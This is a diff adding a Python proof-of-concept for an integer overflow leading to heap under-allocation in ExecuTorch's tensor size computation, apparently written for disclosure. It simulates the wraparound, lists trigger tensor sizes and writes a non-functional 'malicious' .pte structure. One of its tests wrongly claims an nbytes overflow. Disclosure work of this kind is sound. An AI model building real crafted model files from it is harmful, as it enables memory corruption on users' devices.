PoC: ExecuTorch compute_numel() integer overflow (CWE-190 -> CWE-122)

poc_F1_compute_numel_overflow.py

@@ -0,0 +1,283 @@
+#!/usr/bin/env python3
+"""
+PoC: ExecuTorch compute_numel() Integer Overflow → Heap Buffer Overflow
+CWE-190 (Integer Overflow) → CWE-122 (Heap Buffer Overflow)
+
+Target: pytorch/executorch
+File:   runtime/core/portable_type/tensor_impl.cpp, line 41
+        runtime/core/portable_type/tensor_impl.cpp, line 69
+
+VULNERABILITY:
+    ssize_t compute_numel(const TensorImpl::SizesType* sizes, ssize_t dim) {
+        ssize_t numel = 1;
+        for (const auto i : c10::irange(dim)) {
+            ET_CHECK_MSG(sizes[i] >= 0, ...);
+            numel *= sizes[i];  // ← NO OVERFLOW CHECK (line 41)
+        }
+        return numel;
+    }
+
+    size_t TensorImpl::nbytes() const {
+        return numel_ * elementSize(type_);  // ← NO OVERFLOW CHECK (line 69)
+    }
+
+SAFE VERSION EXISTS (not used in tensor construction):
+    runtime/executor/method_meta.cpp:56-85 uses c10::mul_overflows()
+
+IMPACT:
+    Malicious .pte model file with crafted tensor sizes causes compute_numel()
+    to overflow, producing wrong numel. nbytes() returns small size, causing
+    under-allocation. Subsequent tensor data access overflows the heap buffer.
+
+TRIGGER VALUES:
+    64-bit: sizes [2147483647, 2147483647, 4] → ssize_t overflow
+    32-bit: sizes [65536, 65536] → numel wraps to 0 → zero-byte alloc
+"""
+import struct
+import ctypes
+import sys
+import os
+
+INT32_MAX = (1 << 31) - 1
+SSIZE64_MAX = (1 << 63) - 1
+SIZE64_MAX = (1 << 64) - 1
+
+
+def simulate_compute_numel_64bit(sizes):
+    """Simulates compute_numel() on 64-bit target (ssize_t = int64_t)"""
+    numel = ctypes.c_int64(1)
+    for s in sizes:
+        assert s >= 0, "Non-negative check passes"
+        numel = ctypes.c_int64(numel.value * s)
+    return numel.value
+
+
+def simulate_compute_numel_32bit(sizes):
+    """Simulates compute_numel() on 32-bit target (ssize_t = int32_t)"""
+    numel = ctypes.c_int32(1)
+    for s in sizes:
+        assert s >= 0, "Non-negative check passes"
+        numel = ctypes.c_int32(numel.value * s)
+    return numel.value
+
+
+def simulate_nbytes(numel_ssize, element_size):
+    """Simulates TensorImpl::nbytes() = numel_ * elementSize(type_)
+    numel_ is ssize_t, result is size_t (unsigned)"""
+    return ctypes.c_uint64(numel_ssize * element_size).value
+
+
+def safe_calculate_nbytes(sizes, element_size):
+    """Safe version from method_meta.cpp:56-85 using overflow detection"""
+    n = 1
+    for i, s in enumerate(sizes):
+        product = n * s
+        if product > SIZE64_MAX:
+            return None, f"Overflow at dimension {i}"
+        n = product
+    total = n * element_size
+    if total > SIZE64_MAX:
+        return None, "Overflow in element size multiplication"
+    return total, "OK"
+
+
+def create_malicious_pte_binary():
+    """
+    Creates a minimal binary that demonstrates the .pte file structure
+    containing overflow-triggering tensor sizes.
+
+    A real .pte file uses FlatBuffers. This creates a structural demonstration
+    showing where the malicious sizes would be embedded.
+    """
+    # FlatBuffer binary layout for a minimal Program with one Tensor
+    # The actual exploit requires a valid FlatBuffer; this shows the concept
+
+    # Extended header: magic "eh00" + length + program_size + segment_base_offset
+    eh_magic = b'eh00'
+    eh_length = struct.pack('<I', 28)  # header length
+    eh_program_size = struct.pack('<Q', 256)  # program_size
+    eh_segment_base_offset = struct.pack('<Q', 0)  # no segments
+    eh_segment_data_size = struct.pack('<Q', 0)
+
+    # FlatBuffer with ET12 identifier containing malicious tensor sizes
+    # Offset 0: FlatBuffer size prefix
+    # Offset 4: File identifier "ET12"
+    # Offset 8: Extended header starts here
+
+    # The malicious tensor sizes that trigger overflow:
+    malicious_sizes_64bit = [INT32_MAX, INT32_MAX, 4]  # overflows ssize_t on 64-bit
+    malicious_sizes_32bit = [65536, 65536]  # overflows ssize_t on 32-bit (→ 0)
+
+    # Pack sizes as int32 (FlatBuffer schema: sizes: [int])
+    sizes_data_64 = b''.join(struct.pack('<i', s) for s in malicious_sizes_64bit)
+    sizes_data_32 = b''.join(struct.pack('<i', s) for s in malicious_sizes_32bit)
+
+    # Build minimal structure
+    # Note: This is NOT a valid FlatBuffer - it's a structural demonstration
+    # showing where overflow-triggering data would be placed
+    fb_identifier = b'ET12'
+
+    # Minimal flatbuffer-like structure
+    pte_data = bytearray(512)
+
+    # Byte 0-3: flatbuffer size prefix (little-endian)
+    struct.pack_into('<I', pte_data, 0, 256)
+
+    # Byte 4-7: File identifier
+    pte_data[4:8] = fb_identifier
+
+    # Byte 8-11: Extended header magic
+    pte_data[8:12] = eh_magic
+
+    # Byte 12-15: Extended header length
+    pte_data[12:16] = eh_length
+
+    # Byte 16-23: program_size
+    pte_data[16:24] = eh_program_size
+
+    # Byte 24-31: segment_base_offset
+    pte_data[24:32] = eh_segment_base_offset
+
+    # Byte 32-39: segment_data_size
+    pte_data[32:40] = eh_segment_data_size
+
+    # Embed the malicious tensor sizes at a known offset for demonstration
+    # In a real FlatBuffer, these would be in the Tensor.sizes vector
+    SIZES_OFFSET = 64
+    pte_data[SIZES_OFFSET:SIZES_OFFSET + len(sizes_data_64)] = sizes_data_64
+
+    return bytes(pte_data), malicious_sizes_64bit, malicious_sizes_32bit
+
+
+def main():
+    print("=" * 72)
+    print(" ExecuTorch compute_numel() Integer Overflow PoC")
+    print(" CWE-190 → CWE-122 (Heap Buffer Overflow)")
+    print("=" * 72)
+
+    # ── Test 1: 64-bit overflow ──
+    print("\n[1] 64-bit target: sizes = [INT32_MAX, INT32_MAX, 4]")
+    print("─" * 50)
+
+    sizes_64 = [INT32_MAX, INT32_MAX, 4]
+    numel_64 = simulate_compute_numel_64bit(sizes_64)
+    nbytes_64 = simulate_nbytes(numel_64, 4)  # float32 = 4 bytes
+
+    expected_numel = INT32_MAX * INT32_MAX * 4
+    expected_nbytes = expected_numel * 4
+
+    print(f"  Tensor sizes:           {sizes_64}")
+    print(f"  Expected numel:         {expected_numel}")
+    print(f"  compute_numel() result: {numel_64}")
+    print(f"  Overflowed:             {numel_64 != expected_numel}")
+    print(f"  nbytes() (float32):     {nbytes_64}")
+    print(f"  Expected nbytes:        {expected_nbytes}")
+
+    if numel_64 < 0:
+        print(f"  *** numel is NEGATIVE ({numel_64}) — signed overflow ***")
+
+    # ── Test 2: 32-bit overflow (embedded target) ──
+    print("\n[2] 32-bit target: sizes = [65536, 65536]")
+    print("─" * 50)
+
+    sizes_32 = [65536, 65536]
+    numel_32 = simulate_compute_numel_32bit(sizes_32)
+    nbytes_32 = ctypes.c_uint32(numel_32 * 4).value  # 32-bit size_t
+
+    print(f"  Tensor sizes:           {sizes_32}")
+    print(f"  Expected numel:         {65536 * 65536}")
+    print(f"  compute_numel() result: {numel_32}")
+    print(f"  nbytes() (float32):     {nbytes_32}")
+
+    if numel_32 == 0:
+        print(f"  *** numel is ZERO — allocator returns 0 bytes ***")
+        print(f"  *** But tensor shape says {65536}x{65536} = 4GB data ***")
+        print(f"  *** Any tensor access = HEAP BUFFER OVERFLOW ***")
+
+    # ── Test 3: Comparison with safe code ──
+    print("\n[3] Safe vs Unsafe comparison")
+    print("─" * 50)
+
+    print("  UNSAFE path (tensor_impl.cpp:41):")
+    print(f"    compute_numel({sizes_64}) = {numel_64}  ← WRONG")
+    print()
+
+    safe_result, status = safe_calculate_nbytes(sizes_64, 4)
+    print("  SAFE path (method_meta.cpp:62):")
+    print(f"    calculate_nbytes({sizes_64}, float32) = {status}")
+    if safe_result is None:
+        print("    ← Correctly detects overflow and returns error")
+    print()
+
+    print("  The safe version uses c10::mul_overflows() but is only")
+    print("  used in the metadata path, NOT in tensor construction.")
+
+    # ── Test 4: Generate malicious .pte structure ──
+    print("\n[4] Malicious .pte file generation")
+    print("─" * 50)
+
+    pte_data, sizes_64_used, sizes_32_used = create_malicious_pte_binary()
+
+    output_path = os.path.join(os.path.dirname(__file__), "malicious_numel_overflow.pte")
+    with open(output_path, "wb") as f:
+        f.write(pte_data)
+
+    print(f"  Created: {output_path}")
+    print(f"  Size: {len(pte_data)} bytes")
+    print(f"  64-bit trigger sizes: {sizes_64_used}")
+    print(f"  32-bit trigger sizes: {sizes_32_used}")
+    print()
+    print("  NOTE: This is a structural demonstration. A full exploit requires")
+    print("  a valid FlatBuffer with the ExecuTorch schema compiled in.")
+    print("  Build ExecuTorch with ASAN to confirm the heap overflow:")
+    print("    cmake -DCMAKE_CXX_FLAGS='-fsanitize=address' ..")
+    print("    # Then load the crafted .pte via Program::load()")
+
+    # ── Test 5: Additional overflow in nbytes() ──
+    print("\n[5] nbytes() double overflow")
+    print("─" * 50)
+
+    # Even if numel doesn't overflow, numel * elementSize can
+    sizes_nbytes = [INT32_MAX, 2]
+    numel_nb = simulate_compute_numel_64bit(sizes_nbytes)
+    # With float64 (8 bytes): INT32_MAX * 2 * 8 = ~34 GB, fits in size_t
+    # With complex128 (16 bytes on some platforms):
+    nbytes_huge = simulate_nbytes(numel_nb, 16)
+    expected_huge = INT32_MAX * 2 * 16
+
+    print(f"  sizes = {sizes_nbytes}, element_size = 16 (complex128)")
+    print(f"  numel = {numel_nb} (fits in ssize_t)")
+    print(f"  nbytes = numel * 16 = {nbytes_huge}")
+    print(f"  Expected: {expected_huge}")
+    print(f"  Overflow: {nbytes_huge != expected_huge}")
+
+    # ── Summary ──
+    print("\n" + "=" * 72)
+    print(" SUMMARY")
+    print("=" * 72)
+    print("""
+  Vulnerable functions:
+    1. compute_numel()  — tensor_impl.cpp:41
+    2. TensorImpl::nbytes() — tensor_impl.cpp:69
+
+  Root cause:
+    Multiplication of attacker-controlled int32 tensor sizes into ssize_t
+    without overflow detection. Product wraps around, producing incorrect
+    numel that leads to under-sized memory allocation.
+
+  Safe code exists but unused:
+    method_meta.cpp:56-85 uses c10::mul_overflows() — same repo, same team,
+    but NOT applied to the tensor construction path.
+
+  Impact:
+    Heap buffer overflow when loading malicious .pte model files.
+    Affects mobile/embedded devices (ExecuTorch's primary targets).
+    32-bit targets: trivially exploitable (numel wraps to 0).
+    64-bit targets: exploitable with carefully chosen sizes.
+    """)
+
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())